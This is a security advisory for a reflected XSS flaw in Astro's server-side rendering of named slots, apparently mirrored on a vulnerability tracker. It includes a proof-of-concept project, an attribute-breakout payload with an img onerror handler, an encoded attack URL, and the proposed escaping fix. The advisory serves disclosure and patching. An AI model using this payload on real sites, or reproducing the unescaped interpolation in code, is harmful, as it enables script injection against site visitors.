GHSA-8HV8-536X-4WQP
Vulnerability from github – Published: 2026-06-16 14:05 – Updated: 2026-08-12 20:37Summary
When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.
This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.
Vulnerable Code
packages/astro/src/runtime/server/render/component.ts:371:376
// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`
I found that key is interpolated directly into the attribute value without proper escaping.
Proof of Concept
For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.
astro.config.mjs
import react from '@astrojs/react';
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
integrations: [react()],
});
src/pages/index.astro
---
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
---
<html><body>
<Wrapper client:load>
<div slot={slotName}>content</div>
</Wrapper>
</body></html>
src/components/Wrapper.jsx
export default function Wrapper() { return null; }
Payload:
abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--
Accessing this URL will trigger the popup.
http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--
This will render in html.
<template data-astro-template="abc"></template></astro-island>
<img src=x onerror=confirm(document.domain)><!--">content</template>
Fix
I suggest leveraging the existing escape function on the slot name.
// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>`
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "astro"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.3.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50146"
],
"database_specific": {
"cwe_ids": [
"CWE-79",
"CWE-80"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T14:05:06Z",
"nvd_published_at": "2026-06-22T19:17:04Z",
"severity": "HIGH"
},
"details": "## Summary\n\nWhen a component uses a `client:*` directive, Astro inserts named slot content into a `data-astro-template` attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.\n\nThis is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.\n\n## Vulnerable Code\n\n`packages/astro/src/runtime/server/render/component.ts:371:376`\n\n```ts\n// component.ts:371\n`\u003ctemplate data-astro-template${key !== \u0027default\u0027 ? `=\"${key}\"` : \u0027\u0027}\u003e${children[key]}\u003c/template\u003e`\n```\n\nI found that key is interpolated directly into the attribute value without proper escaping.\n\n## Proof of Concept\n\nFor the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.\n\n**`astro.config.mjs`**\n```js\nimport react from \u0027@astrojs/react\u0027;\nimport node from \u0027@astrojs/node\u0027;\nimport { defineConfig } from \u0027astro/config\u0027;\nexport default defineConfig({\n output: \u0027server\u0027,\n adapter: node({ mode: \u0027standalone\u0027 }),\n integrations: [react()],\n});\n```\n\n**`src/pages/index.astro`**\n```astro\n---\nimport Wrapper from \u0027../components/Wrapper.jsx\u0027;\nconst slotName = Astro.url.searchParams.get(\u0027tab\u0027) ?? \u0027default\u0027;\n---\n\u003chtml\u003e\u003cbody\u003e\n \u003cWrapper client:load\u003e\n \u003cdiv slot={slotName}\u003econtent\u003c/div\u003e\n \u003c/Wrapper\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n**`src/components/Wrapper.jsx`**\n```jsx\nexport default function Wrapper() { return null; }\n```\n\n**Payload:**\n```\nabc\"\u003e\u003c/template\u003e\u003c/astro-island\u003e\u003cimg src=x onerror=confirm(document.domain)\u003e\u003c!--\n```\nAccessing this URL will trigger the popup.\n\nhttp://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--\n\n\n\n\u003cimg width=\"1268\" height=\"592\" alt=\"image\" src=\"https://github.com/user-attachments/assets/675cdc04-4134-4d83-883c-abe16d751ec7\" /\u003e\n\n\n\nThis will render in html.\n\n```html\n\u003ctemplate data-astro-template=\"abc\"\u003e\u003c/template\u003e\u003c/astro-island\u003e\n\u003cimg src=x onerror=confirm(document.domain)\u003e\u003c!--\"\u003econtent\u003c/template\u003e\n```\n\n## Fix\n\nI suggest leveraging the existing escape function on the slot name.\n\n```ts\n// component.ts:371\n`\u003ctemplate data-astro-template${key !== \u0027default\u0027 ? `=\"${escapeHTML(String(key))}\"` : \u0027\u0027}\u003e${children[key]}\u003c/template\u003e`\n```\n\n---",
"id": "GHSA-8hv8-536x-4wqp",
"modified": "2026-08-12T20:37:18Z",
"published": "2026-06-16T14:05:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/withastro/astro/security/advisories/GHSA-8hv8-536x-4wqp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50146"
},
{
"type": "PACKAGE",
"url": "https://github.com/withastro/astro"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Astro: Reflected XSS via unescaped slot name"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.